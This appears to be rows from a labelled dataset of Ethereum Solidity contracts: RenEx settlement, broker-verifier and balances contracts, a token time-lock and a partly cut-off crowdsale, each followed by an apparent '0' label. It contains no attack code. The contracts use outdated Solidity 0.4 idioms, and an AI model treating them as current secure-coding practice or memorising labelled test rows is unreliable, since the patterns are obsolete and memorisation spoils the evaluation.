"invalid settlement id"
);
require(SettlementUtils.verifyMatchDetails(orderDetails[_buyID], orderDetails[_sellID]), "incompatible orders");
require(orderbookContract.orderMatch(_buyID) == _sellID, "unconfirmed orders");
TokenPair memory tokens = getTokenDetails(orderDetails[_buyID].tokens);
require(tokens.priorityToken.registered, "unregistered priority token");
require(tokens.secondaryToken.registered, "unregistered secondary token");
address buyer = orderbookContract.orderTrader(_buyID);
address seller = orderbookContract.orderTrader(_sellID);
require(buyer != seller, "orders from same trader");
execute(_buyID, _sellID, buyer, seller, tokens);
matchTimestamp[_buyID][_sellID] = now;
orderStatus[_buyID] = OrderStatus.Settled;
orderStatus[_sellID] = OrderStatus.Settled;
}
function slash(bytes32 _guiltyOrderID) external onlySlasher {
require(orderDetails[_guiltyOrderID].settlementID == RENEX_ATOMIC_SETTLEMENT_ID, "slashing non-atomic trade");
bytes32 innocentOrderID = orderbookContract.orderMatch(_guiltyOrderID);
require(orderStatus[_guiltyOrderID] == OrderStatus.Settled, "invalid order status");
require(orderStatus[innocentOrderID] == OrderStatus.Settled, "invalid order status");
orderStatus[_guiltyOrderID] = OrderStatus.Slashed;
(bytes32 buyID, bytes32 sellID) = isBuyOrder(_guiltyOrderID) ?
(_guiltyOrderID, innocentOrderID) : (innocentOrderID, _guiltyOrderID);
TokenPair memory tokens = getTokenDetails(orderDetails[buyID].tokens);
SettlementDetails memory settlementDetails = calculateAtomicFees(buyID, sellID, tokens);
renExBalancesContract.transferBalanceWithFee(
orderbookContract.orderTrader(_guiltyOrderID),
orderbookContract.orderTrader(innocentOrderID),
settlementDetails.leftTokenAddress,
settlementDetails.leftTokenFee,
0,
0x0
);
renExBalancesContract.transferBalanceWithFee(
orderbookContract.orderTrader(_guiltyOrderID),
slasherAddress,
settlementDetails.leftTokenAddress,
settlementDetails.leftTokenFee,
0,
0x0
);
}
function getMatchDetails(bytes32 _orderID)
external view returns (
bool settled,
bool orderIsBuy,
bytes32 matchedID,
uint256 priorityVolume,
uint256 secondaryVolume,
uint256 priorityFee,
uint256 secondaryFee,
uint32 priorityToken,
uint32 secondaryToken
) {
matchedID = orderbookContract.orderMatch(_orderID);
orderIsBuy = isBuyOrder(_orderID);
(bytes32 buyID, bytes32 sellID) = orderIsBuy ?
(_orderID, matchedID) : (matchedID, _orderID);
SettlementDetails memory settlementDetails = calculateSettlementDetails(
buyID,
sellID,
getTokenDetails(orderDetails[buyID].tokens)
);
return (
orderStatus[_orderID] == OrderStatus.Settled || orderStatus[_orderID] == OrderStatus.Slashed,
orderIsBuy,
matchedID,
settlementDetails.leftVolume,
settlementDetails.rightVolume,
settlementDetails.leftTokenFee,
settlementDetails.rightTokenFee,
uint32(orderDetails[buyID].tokens >> 32),
uint32(orderDetails[buyID].tokens)
);
}
function hashOrder(
bytes _prefix,
uint64 _settlementID,
uint64 _tokens,
uint256 _price,
uint256 _volume,
uint256 _minimumVolume
) external pure returns (bytes32) {
return SettlementUtils.hashOrder(_prefix, SettlementUtils.OrderDetails({
settlementID: _settlementID,
tokens: _tokens,
price: _price,
volume: _volume,
minimumVolume: _minimumVolume
}));
}
function execute(
bytes32 _buyID,
bytes32 _sellID,
address _buyer,
address _seller,
TokenPair memory _tokens
) private {
SettlementDetails memory settlementDetails = (orderDetails[_buyID].settlementID == RENEX_ATOMIC_SETTLEMENT_ID) ?
settlementDetails = calculateAtomicFees(_buyID, _sellID, _tokens) :
settlementDetails = calculateSettlementDetails(_buyID, _sellID, _tokens);
renExBalancesContract.transferBalanceWithFee(
_buyer,
_seller,
settlementDetails.leftTokenAddress,
settlementDetails.leftVolume,
settlementDetails.leftTokenFee,
orderSubmitter[_buyID]
);
renExBalancesContract.transferBalanceWithFee(
_seller,
_buyer,
settlementDetails.rightTokenAddress,
settlementDetails.rightVolume,
settlementDetails.rightTokenFee,
orderSubmitter[_sellID]
);
}
function calculateSettlementDetails(
bytes32 _buyID,
bytes32 _sellID,
TokenPair memory _tokens
) private view returns (SettlementDetails memory) {
Fraction memory midPrice = Fraction(orderDetails[_buyID].price.add(orderDetails[_sellID].price), 2);
uint256 commonVolume = Math.min256(orderDetails[_buyID].volume, orderDetails[_sellID].volume);
uint256 priorityTokenVolume = joinFraction(
commonVolume.mul(midPrice.numerator),
midPrice.denominator,
int16(_tokens.priorityToken.decimals) - PRICE_OFFSET - VOLUME_OFFSET
);
uint256 secondaryTokenVolume = joinFraction(
commonVolume,
1,
int16(_tokens.secondaryToken.decimals) - VOLUME_OFFSET
);
ValueWithFees memory priorityVwF = subtractDarknodeFee(priorityTokenVolume);
ValueWithFees memory secondaryVwF = subtractDarknodeFee(secondaryTokenVolume);
return SettlementDetails({
leftVolume: priorityVwF.value,
rightVolume: secondaryVwF.value,
leftTokenFee: priorityVwF.fees,
rightTokenFee: secondaryVwF.fees,
leftTokenAddress: _tokens.priorityToken.addr,
rightTokenAddress: _tokens.secondaryToken.addr
});
}
function calculateAtomicFees(
bytes32 _buyID,
bytes32 _sellID,
TokenPair memory _tokens
) private view returns (SettlementDetails memory) {
Fraction memory midPrice = Fraction(orderDetails[_buyID].price.add(orderDetails[_sellID].price), 2);
uint256 commonVolume = Math.min256(orderDetails[_buyID].volume, orderDetails[_sellID].volume);
if (isEthereumBased(_tokens.secondaryToken.addr)) {
uint256 secondaryTokenVolume = joinFraction(
commonVolume,
1,
int16(_tokens.secondaryToken.decimals) - VOLUME_OFFSET
);
ValueWithFees memory secondaryVwF = subtractDarknodeFee(secondaryTokenVolume);
return SettlementDetails({
leftVolume: 0,
rightVolume: 0,
leftTokenFee: secondaryVwF.fees,
rightTokenFee: secondaryVwF.fees,
leftTokenAddress: _tokens.secondaryToken.addr,
rightTokenAddress: _tokens.secondaryToken.addr
});
} else if (isEthereumBased(_tokens.priorityToken.addr)) {
uint256 priorityTokenVolume = joinFraction(
commonVolume.mul(midPrice.numerator),
midPrice.denominator,
int16(_tokens.priorityToken.decimals) - PRICE_OFFSET - VOLUME_OFFSET
);
ValueWithFees memory priorityVwF = subtractDarknodeFee(priorityTokenVolume);
return SettlementDetails({
leftVolume: 0,
rightVolume: 0,
leftTokenFee: priorityVwF.fees,
rightTokenFee: priorityVwF.fees,
leftTokenAddress: _tokens.priorityToken.addr,
rightTokenAddress: _tokens.priorityToken.addr
});
} else {
revert("non-eth atomic swaps are not supported");
}
}
function isBuyOrder(bytes32 _orderID) private view returns (bool) {
uint64 tokens = orderDetails[_orderID].tokens;
uint32 firstToken = uint32(tokens >> 32);
uint32 secondaryToken = uint32(tokens);
return (firstToken < secondaryToken);
}
function subtractDarknodeFee(uint256 _value) private pure returns (ValueWithFees memory) {
uint256 newValue = (_value.mul(DARKNODE_FEES_DENOMINATOR - DARKNODE_FEES_NUMERATOR)) / DARKNODE_FEES_DENOMINATOR;
return ValueWithFees(newValue, _value.sub(newValue));
}
function getTokenDetails(uint64 _tokens) private view returns (TokenPair memory) {
(
address priorityAddress,
uint8 priorityDecimals,
bool priorityRegistered
) = renExTokensContract.tokens(uint32(_tokens >> 32));
(
address secondaryAddress,
uint8 secondaryDecimals,
bool secondaryRegistered
) = renExTokensContract.tokens(uint32(_tokens));
return TokenPair({
priorityToken: RenExTokens.TokenDetails(priorityAddress, priorityDecimals, priorityRegistered),
secondaryToken: RenExTokens.TokenDetails(secondaryAddress, secondaryDecimals, secondaryRegistered)
});
}
function isEthereumBased(address _tokenAddress) private pure returns (bool) {
return (_tokenAddress != 0x0);
}
function joinFraction(uint256 _numerator, uint256 _denominator, int16 _scale) private pure returns (uint256) {
if (_scale >= 0) {
assert(_scale <= 77);
return _numerator.mul(10 ** uint256(_scale)) / _denominator;
} else {
return (_numerator / _denominator) / 10 ** uint256(-_scale);
}
}
}
contract RenExBrokerVerifier is Ownable {
string public VERSION;
event LogBalancesContractUpdated(address previousBalancesContract, address nextBalancesContract);
event LogBrokerRegistered(address broker);
event LogBrokerDeregistered(address broker);
mapping(address => bool) public brokerRegistered;
mapping(address => mapping(address => uint256)) public traderTokenNonce;
address public balancesContract;
modifier onlyBalancesContract() {
require(msg.sender == balancesContract, "not authorized");
_;
}
constructor(string _VERSION) public {
VERSION = _VERSION;
}
function updateBalancesContract(address _balancesContract) external onlyOwner {
require(_balancesContract != 0x0, "invalid contract address");
emit LogBalancesContractUpdated(balancesContract, _balancesContract);
balancesContract = _balancesContract;
}
function registerBroker(address _broker) external onlyOwner {
require(!brokerRegistered[_broker], "already registered");
brokerRegistered[_broker] = true;
emit LogBrokerRegistered(_broker);
}
function deregisterBroker(address _broker) external onlyOwner {
require(brokerRegistered[_broker], "not registered");
brokerRegistered[_broker] = false;
emit LogBrokerDeregistered(_broker);
}
function verifyOpenSignature(
address _trader,
bytes _signature,
bytes32 _orderID
) external view returns (bool) {
bytes memory data = abi.encodePacked("Republic Protocol: open: ", _trader, _orderID);
address signer = Utils.addr(data, _signature);
return (brokerRegistered[signer] == true);
}
function verifyWithdrawSignature(
address _trader,
address _token,
bytes _signature
) external onlyBalancesContract returns (bool) {
bytes memory data = abi.encodePacked(
"Republic Protocol: withdraw: ",
_trader,
_token,
traderTokenNonce[_trader][_token]
);
address signer = Utils.addr(data, _signature);
if (brokerRegistered[signer]) {
traderTokenNonce[_trader][_token] += 1;
return true;
}
return false;
}
}
contract RenExBalances is Ownable {
using SafeMath for uint256;
using CompatibleERC20Functions for CompatibleERC20;
string public VERSION;
RenExSettlement public settlementContract;
RenExBrokerVerifier public brokerVerifierContract;
DarknodeRewardVault public rewardVaultContract;
address constant public ETHEREUM = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 constant public SIGNAL_DELAY = 48 hours;
event LogBalanceDecreased(address trader, ERC20 token, uint256 value);
event LogBalanceIncreased(address trader, ERC20 token, uint256 value);
event LogRenExSettlementContractUpdated(address previousRenExSettlementContract, address newRenExSettlementContract);
event LogRewardVaultContractUpdated(address previousRewardVaultContract, address newRewardVaultContract);
event LogBrokerVerifierContractUpdated(address previousBrokerVerifierContract, address newBrokerVerifierContract);
mapping(address => mapping(address => uint256)) public traderBalances;
mapping(address => mapping(address => uint256)) public traderWithdrawalSignals;
constructor(
string _VERSION,
DarknodeRewardVault _rewardVaultContract,
RenExBrokerVerifier _brokerVerifierContract
) public {
VERSION = _VERSION;
rewardVaultContract = _rewardVaultContract;
brokerVerifierContract = _brokerVerifierContract;
}
modifier onlyRenExSettlementContract() {
require(msg.sender == address(settlementContract), "not authorized");
_;
}
modifier withBrokerSignatureOrSignal(address _token, bytes _signature) {
address trader = msg.sender;
if (_signature.length > 0) {
require (brokerVerifierContract.verifyWithdrawSignature(trader, _token, _signature), "invalid signature");
} else {
require(traderWithdrawalSignals[trader][_token] != 0, "not signalled");
require((now - traderWithdrawalSignals[trader][_token]) > SIGNAL_DELAY, "signal time remaining");
traderWithdrawalSignals[trader][_token] = 0;
}
_;
}
function updateRenExSettlementContract(RenExSettlement _newSettlementContract) external onlyOwner {
require(bytes(_newSettlementContract.VERSION()).length > 0, "invalid settlement contract");
emit LogRenExSettlementContractUpdated(settlementContract, _newSettlementContract);
settlementContract = _newSettlementContract;
}
function updateRewardVaultContract(DarknodeRewardVault _newRewardVaultContract) external onlyOwner {
require(bytes(_newRewardVaultContract.VERSION()).length > 0, "invalid reward vault contract");
emit LogRewardVaultContractUpdated(rewardVaultContract, _newRewardVaultContract);
rewardVaultContract = _newRewardVaultContract;
}
function updateBrokerVerifierContract(RenExBrokerVerifier _newBrokerVerifierContract) external onlyOwner {
require(bytes(_newBrokerVerifierContract.VERSION()).length > 0, "invalid broker verifier contract");
emit LogBrokerVerifierContractUpdated(brokerVerifierContract, _newBrokerVerifierContract);
brokerVerifierContract = _newBrokerVerifierContract;
}
function transferBalanceWithFee(address _traderFrom, address _traderTo, address _token, uint256 _value, uint256 _fee, address _feePayee)
external onlyRenExSettlementContract {
require(traderBalances[_traderFrom][_token] >= _fee, "insufficient funds for fee");
privateDecrementBalance(_traderFrom, ERC20(_token), _value.add(_fee));
if (_token == ETHEREUM) {
rewardVaultContract.deposit.value(_fee)(_feePayee, ERC20(_token), _fee);
} else {
CompatibleERC20(_token).safeApprove(rewardVaultContract, _fee);
rewardVaultContract.deposit(_feePayee, ERC20(_token), _fee);
}
if (_value > 0) {
privateIncrementBalance(_traderTo, ERC20(_token), _value);
}
}
function deposit(ERC20 _token, uint256 _value) external payable {
address trader = msg.sender;
uint256 receivedValue = _value;
if (_token == ETHEREUM) {
require(msg.value == _value, "mismatched value parameter and tx value");
} else {
require(msg.value == 0, "unexpected ether transfer");
receivedValue = CompatibleERC20(_token).safeTransferFromWithFees(trader, this, _value);
}
privateIncrementBalance(trader, _token, receivedValue);
}
function withdraw(ERC20 _token, uint256 _value, bytes _signature) external withBrokerSignatureOrSignal(_token, _signature) {
address trader = msg.sender;
privateDecrementBalance(trader, _token, _value);
if (_token == ETHEREUM) {
trader.transfer(_value);
} else {
CompatibleERC20(_token).safeTransfer(trader, _value);
}
}
function signalBackupWithdraw(address _token) external {
traderWithdrawalSignals[msg.sender][_token] = now;
}
function privateIncrementBalance(address _trader, ERC20 _token, uint256 _value) private {
traderBalances[_trader][_token] = traderBalances[_trader][_token].add(_value);
emit LogBalanceIncreased(_trader, _token, _value);
}
function privateDecrementBalance(address _trader, ERC20 _token, uint256 _value) private {
require(traderBalances[_trader][_token] >= _value, "insufficient funds");
traderBalances[_trader][_token] = traderBalances[_trader][_token].sub(_value);
emit LogBalanceDecreased(_trader, _token, _value);
}
}
contract RenExSwapperdSettlement is Ownable {
using SafeMath for uint256;
string public VERSION;
uint256 constant public DARKNODE_FEES_NUMERATOR = 0;
uint256 constant public DARKNODE_FEES_DENOMINATOR = 1000;
uint32 constant public RENEX_SWAPPERD_SETTLEMENT_ID = 3;
int16 constant private PRICE_OFFSET = 12;
int16 constant private VOLUME_OFFSET = 12;
Orderbook public orderbookContract;
RenExTokens public renExTokensContract;
RenExBalances public renExBalancesContract;
address public slasherAddress;
uint256 public submissionGasPriceLimit;
enum OrderStatus {None, Submitted, Settled, Slashed}
struct TokenPair {
RenExTokens.TokenDetails priorityToken;
RenExTokens.TokenDetails secondaryToken;
}
struct ValueWithFees {
uint256 value;
uint256 fees;
}
struct Fraction {
uint256 numerator;
uint256 denominator;
}
struct SettlementDetails {
uint256 leftVolume;
uint256 rightVolume;
uint256 leftTokenFee;
uint256 rightTokenFee;
address leftTokenAddress;
address rightTokenAddress;
}
event LogOrderbookUpdated(Orderbook previousOrderbook, Orderbook nextOrderbook);
event LogRenExTokensUpdated(RenExTokens previousRenExTokens, RenExTokens nextRenExTokens);
event LogRenExBalancesUpdated(RenExBalances previousRenExBalances, RenExBalances nextRenExBalances);
event LogSubmissionGasPriceLimitUpdated(uint256 previousSubmissionGasPriceLimit, uint256 nextSubmissionGasPriceLimit);
event LogSlasherUpdated(address previousSlasher, address nextSlasher);
event LogOrderSettled(bytes32 indexed orderID);
mapping(bytes32 => SettlementUtils.OrderDetails) public orderDetails;
mapping(bytes32 => address) public orderSubmitter;
mapping(bytes32 => OrderStatus) public orderStatus;
mapping(bytes32 => mapping(bytes32 => uint256)) public matchTimestamp;
modifier withGasPriceLimit(uint256 _gasPriceLimit) {
require(tx.gasprice <= _gasPriceLimit, "gas price too high");
_;
}
modifier onlySlasher() {
require(msg.sender == slasherAddress, "unauthorized");
_;
}
constructor(
string _VERSION,
Orderbook _orderbookContract,
RenExTokens _renExTokensContract,
RenExBalances _renExBalancesContract,
address _slasherAddress,
uint256 _submissionGasPriceLimit
) public {
VERSION = _VERSION;
orderbookContract = _orderbookContract;
renExTokensContract = _renExTokensContract;
renExBalancesContract = _renExBalancesContract;
slasherAddress = _slasherAddress;
submissionGasPriceLimit = _submissionGasPriceLimit;
}
function updateOrderbook(Orderbook _newOrderbookContract) external onlyOwner {
require(bytes(_newOrderbookContract.VERSION()).length > 0, "invalid orderbook contract");
emit LogOrderbookUpdated(orderbookContract, _newOrderbookContract);
orderbookContract = _newOrderbookContract;
}
function updateRenExTokens(RenExTokens _newRenExTokensContract) external onlyOwner {
require(bytes(_newRenExTokensContract.VERSION()).length > 0, "invalid tokens contract");
emit LogRenExTokensUpdated(renExTokensContract, _newRenExTokensContract);
renExTokensContract = _newRenExTokensContract;
}
function updateRenExBalances(RenExBalances _newRenExBalancesContract) external onlyOwner {
require(bytes(_newRenExBalancesContract.VERSION()).length > 0, "invalid balances contract");
emit LogRenExBalancesUpdated(renExBalancesContract, _newRenExBalancesContract);
renExBalancesContract = _newRenExBalancesContract;
}
function updateSubmissionGasPriceLimit(uint256 _newSubmissionGasPriceLimit) external onlyOwner {
require(_newSubmissionGasPriceLimit >= 100000000, "invalid new submission gas price limit");
emit LogSubmissionGasPriceLimitUpdated(submissionGasPriceLimit, _newSubmissionGasPriceLimit);
submissionGasPriceLimit = _newSubmissionGasPriceLimit;
}
function updateSlasher(address _newSlasherAddress) external onlyOwner {
require(_newSlasherAddress != 0x0, "invalid slasher address");
emit LogSlasherUpdated(slasherAddress, _newSlasherAddress);
slasherAddress = _newSlasherAddress;
}
function submitOrder(
bytes _prefix,
uint64 _settlementID,
uint64 _tokens,
uint256 _price,
uint256 _volume,
uint256 _minimumVolume
) external withGasPriceLimit(submissionGasPriceLimit) {
SettlementUtils.OrderDetails memory order = SettlementUtils.OrderDetails({
settlementID: _settlementID,
tokens: _tokens,
price: _price,
volume: _volume,
minimumVolume: _minimumVolume
});
bytes32 orderID = SettlementUtils.hashOrder(_prefix, order);
require(orderStatus[orderID] == OrderStatus.None, "order already submitted");
require(orderbookContract.orderState(orderID) == Orderbook.OrderState.Confirmed, "unconfirmed order");
orderSubmitter[orderID] = msg.sender;
orderStatus[orderID] = OrderStatus.Submitted;
orderDetails[orderID] = order;
}
function settle(bytes32 _buyID, bytes32 _sellID) external {
require(orderStatus[_buyID] == OrderStatus.Submitted, "invalid buy status");
require(orderStatus[_sellID] == OrderStatus.Submitted, "invalid sell status");
require(
orderDetails[_buyID].settlementID == RENEX_SWAPPERD_SETTLEMENT_ID,
"invalid settlement id"
);
require(SettlementUtils.verifyMatchDetails(orderDetails[_buyID], orderDetails[_sellID]), "incompatible orders");
require(orderbookContract.orderMatch(_buyID) == _sellID, "unconfirmed orders");
TokenPair memory tokens = getTokenDetails(orderDetails[_buyID].tokens);
require(tokens.priorityToken.registered, "unregistered priority token");
require(tokens.secondaryToken.registered, "unregistered secondary token");
address buyer = orderbookContract.orderTrader(_buyID);
address seller = orderbookContract.orderTrader(_sellID);
require(buyer != seller, "orders from same trader");
matchTimestamp[_buyID][_sellID] = now;
orderStatus[_buyID] = OrderStatus.Settled;
orderStatus[_sellID] = OrderStatus.Settled;
emit LogOrderSettled(_buyID);
emit LogOrderSettled(_sellID);
}
function getMatchDetails(bytes32 _orderID)
external view returns (
bool settled,
bool orderIsBuy,
bytes32 matchedID,
uint256 priorityVolume,
uint256 secondaryVolume,
uint256 priorityFee,
uint256 secondaryFee,
uint32 priorityToken,
uint32 secondaryToken
) {
matchedID = orderbookContract.orderMatch(_orderID);
orderIsBuy = isBuyOrder(_orderID);
(bytes32 buyID, bytes32 sellID) = orderIsBuy ?
(_orderID, matchedID) : (matchedID, _orderID);
SettlementDetails memory settlementDetails = calculateSettlementDetails(
buyID,
sellID,
getTokenDetails(orderDetails[buyID].tokens)
);
return (
orderStatus[_orderID] == OrderStatus.Settled || orderStatus[_orderID] == OrderStatus.Slashed,
orderIsBuy,
matchedID,
settlementDetails.leftVolume,
settlementDetails.rightVolume,
settlementDetails.leftTokenFee,
settlementDetails.rightTokenFee,
uint32(orderDetails[buyID].tokens >> 32),
uint32(orderDetails[buyID].tokens)
);
}
function hashOrder(
bytes _prefix,
uint64 _settlementID,
uint64 _tokens,
uint256 _price,
uint256 _volume,
uint256 _minimumVolume
) external pure returns (bytes32) {
return SettlementUtils.hashOrder(_prefix, SettlementUtils.OrderDetails({
settlementID: _settlementID,
tokens: _tokens,
price: _price,
volume: _volume,
minimumVolume: _minimumVolume
}));
}
function calculateSettlementDetails(
bytes32 _buyID,
bytes32 _sellID,
TokenPair memory _tokens
) private view returns (SettlementDetails memory) {
Fraction memory midPrice = Fraction(orderDetails[_buyID].price.add(orderDetails[_sellID].price), 2);
uint256 commonVolume = Math.min256(orderDetails[_buyID].volume, orderDetails[_sellID].volume);
uint256 priorityTokenVolume = joinFraction(
commonVolume.mul(midPrice.numerator),
midPrice.denominator,
int16(_tokens.priorityToken.decimals) - PRICE_OFFSET - VOLUME_OFFSET
);
uint256 secondaryTokenVolume = joinFraction(
commonVolume,
1,
int16(_tokens.secondaryToken.decimals) - VOLUME_OFFSET
);
ValueWithFees memory priorityVwF = subtractDarknodeFee(priorityTokenVolume);
ValueWithFees memory secondaryVwF = subtractDarknodeFee(secondaryTokenVolume);
return SettlementDetails({
leftVolume: priorityVwF.value,
rightVolume: secondaryVwF.value,
leftTokenFee: priorityVwF.fees,
rightTokenFee: secondaryVwF.fees,
leftTokenAddress: _tokens.priorityToken.addr,
rightTokenAddress: _tokens.secondaryToken.addr
});
}
function calculateAtomicFees(
bytes32 _buyID,
bytes32 _sellID,
TokenPair memory _tokens
) private view returns (SettlementDetails memory) {
Fraction memory midPrice = Fraction(orderDetails[_buyID].price.add(orderDetails[_sellID].price), 2);
uint256 commonVolume = Math.min256(orderDetails[_buyID].volume, orderDetails[_sellID].volume);
if (isEthereumBased(_tokens.secondaryToken.addr)) {
uint256 secondaryTokenVolume = joinFraction(
commonVolume,
1,
int16(_tokens.secondaryToken.decimals) - VOLUME_OFFSET
);
ValueWithFees memory secondaryVwF = subtractDarknodeFee(secondaryTokenVolume);
return SettlementDetails({
leftVolume: 0,
rightVolume: 0,
leftTokenFee: secondaryVwF.fees,
rightTokenFee: secondaryVwF.fees,
leftTokenAddress: _tokens.secondaryToken.addr,
rightTokenAddress: _tokens.secondaryToken.addr
});
} else if (isEthereumBased(_tokens.priorityToken.addr)) {
uint256 priorityTokenVolume = joinFraction(
commonVolume.mul(midPrice.numerator),
midPrice.denominator,
int16(_tokens.priorityToken.decimals) - PRICE_OFFSET - VOLUME_OFFSET
);
ValueWithFees memory priorityVwF = subtractDarknodeFee(priorityTokenVolume);
return SettlementDetails({
leftVolume: 0,
rightVolume: 0,
leftTokenFee: priorityVwF.fees,
rightTokenFee: priorityVwF.fees,
leftTokenAddress: _tokens.priorityToken.addr,
rightTokenAddress: _tokens.priorityToken.addr
});
} else {
revert("non-eth atomic swaps are not supported");
}
}
function isBuyOrder(bytes32 _orderID) private view returns (bool) {
uint64 tokens = orderDetails[_orderID].tokens;
uint32 firstToken = uint32(tokens >> 32);
uint32 secondaryToken = uint32(tokens);
return (firstToken < secondaryToken);
}
function subtractDarknodeFee(uint256 _value) private pure returns (ValueWithFees memory) {
uint256 newValue = (_value.mul(DARKNODE_FEES_DENOMINATOR - DARKNODE_FEES_NUMERATOR)) / DARKNODE_FEES_DENOMINATOR;
return ValueWithFees(newValue, _value.sub(newValue));
}
function getTokenDetails(uint64 _tokens) private view returns (TokenPair memory) {
(
address priorityAddress,
uint8 priorityDecimals,
bool priorityRegistered
) = renExTokensContract.tokens(uint32(_tokens >> 32));
(
address secondaryAddress,
uint8 secondaryDecimals,
bool secondaryRegistered
) = renExTokensContract.tokens(uint32(_tokens));
return TokenPair({
priorityToken: RenExTokens.TokenDetails(priorityAddress, priorityDecimals, priorityRegistered),
secondaryToken: RenExTokens.TokenDetails(secondaryAddress, secondaryDecimals, secondaryRegistered)
});
}
function isEthereumBased(address _tokenAddress) private pure returns (bool) {
return (_tokenAddress != 0x0);
}
function joinFraction(uint256 _numerator, uint256 _denominator, int16 _scale) private pure returns (uint256) {
if (_scale >= 0) {
assert(_scale <= 77);
return _numerator.mul(10 ** uint256(_scale)) / _denominator;
} else {
return (_numerator / _denominator) / 10 ** uint256(-_scale);
}
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30067200;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x1f1A77F9d6A7213A50e45B737Bd9D460445263D5;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Owned {
address public owner;
function setOwner(address _owner) onlyOwner
{ owner = _owner; }
modifier onlyOwner { if (msg.sender != owner) throw; _; }
}
contract TRMCrowdsale is Owned {
using SafeMath for uint;
event Print(string _message, address _msgSender);
uint public ETHUSD = 38390;
address manager = 0xf5c723B7Cc90eaA3bEec7B05D6bbeBCd9AFAA69a;
address ETHUSDdemon = 0xb42f06b2fc28decc022985a1a35c7b868f91bd17;
address public multisig = 0xc2CDcE18deEcC1d5274D882aEd0FB082B813FFE8;
address public addressOfERC20Token = 0x8BeF0141e8D078793456C4b74f7E60640f618594;
ERC20 public token;
uint public startICO = now;
uint public endICO = 1519862400;
uint public endPostICO = 1525132800;
uint public tokenIcoUsdCentPrice = 550;
uint public tokenPostIcoUsdCentPrice = 650;
uint public bonusWeiAmount = 100000000000000000000;
uint public smallBonusPercent = 333;
uint public bigBonusPercent = 333;
bool public TRM1BonusActive = false;
uint public minTokenForSP = 1 * 100000000;
uint public tokenForSP = 500*100000000;
uint public tokenForSPSold = 0;
uint public tokenSPUsdCentPrice = 250;
address public addressOfERC20OldToken = 0x241684Ef15683ca57c42d8F4BB0e87D3427DdF1c;
ERC20 public oldToken;
function TRMCrowdsale(){
owner = msg.sender;
token = ERC20(addressOfERC20Token);
oldToken = ERC20(addressOfERC20OldToken);
ETHUSDdemon = msg.sender;
}
function oldTokenBalance(address _holderAdress) constant returns (uint256) {
return oldToken.balanceOf(_holderAdress);
}
function tokenBalance() constant returns (uint256) {
return token.balanceOf(address(this));
}
function setAddressOfERC20Token(address _addressOfERC20Token) onlyOwner {
addressOfERC20Token = _addressOfERC20Token;
token = ERC20(addressOfERC20Token);
}
function setAddressOfERC20OldToken(address _addressOfERC20OldToken) onlyOwner {
addressOfERC20OldToken = _addressOfERC20OldToken;
oldToken = ERC20(addressOfERC20OldToken);
}
function transferToken(address _to, uint _value) returns (bool) {
require(msg.sender == manager);
return token.transfer(_to, _value);
}
function() payable {
doPurchase();
}
function doPurchase() payable {
require(now >= startICO && now < endPostICO);
require(msg.value > 0);
uint sum = msg.value;
uint tokensAmount;
if((TRM1BonusActive)&&(oldToken.balanceOf(msg.sender)>=minTokenForSP)&&(tokenForSPSold<tokenForSP)){
tokensAmount = sum.mul(ETHUSD).div(tokenSPUsdCentPrice).div(10000000000);
tokenForSPSold=tokenForSPSold.add(tokensAmount);
} else {
if(now < endICO){
tokensAmount = sum.mul(ETHUSD).div(tokenIcoUsdCentPrice).div(10000000000);
} else {
tokensAmount = sum.mul(ETHUSD).div(tokenPostIcoUsdCentPrice).div(10000000000);
}
if(sum < bonusWeiAmount){
tokensAmount = tokensAmount.mul(100+smallBonusPercent).div(100);
} else{
tokensAmount = tokensAmount.mul(100+bigBonusPercent).div(100);
}
}
if(tokenBalance() > tokensAmount){
require(token.transfer(msg.sender, tokensAmount));
multisig.transfer(msg.value);
} else {
manager.transfer(msg.value);
Print("Tokens will be released manually", msg.sender);
}
}
function setETHUSD( uint256 _newPrice ) {
require((msg.sender == ETHUSDdemon)||(msg.sender == manager));
ETHUSD = _newPrice;
}
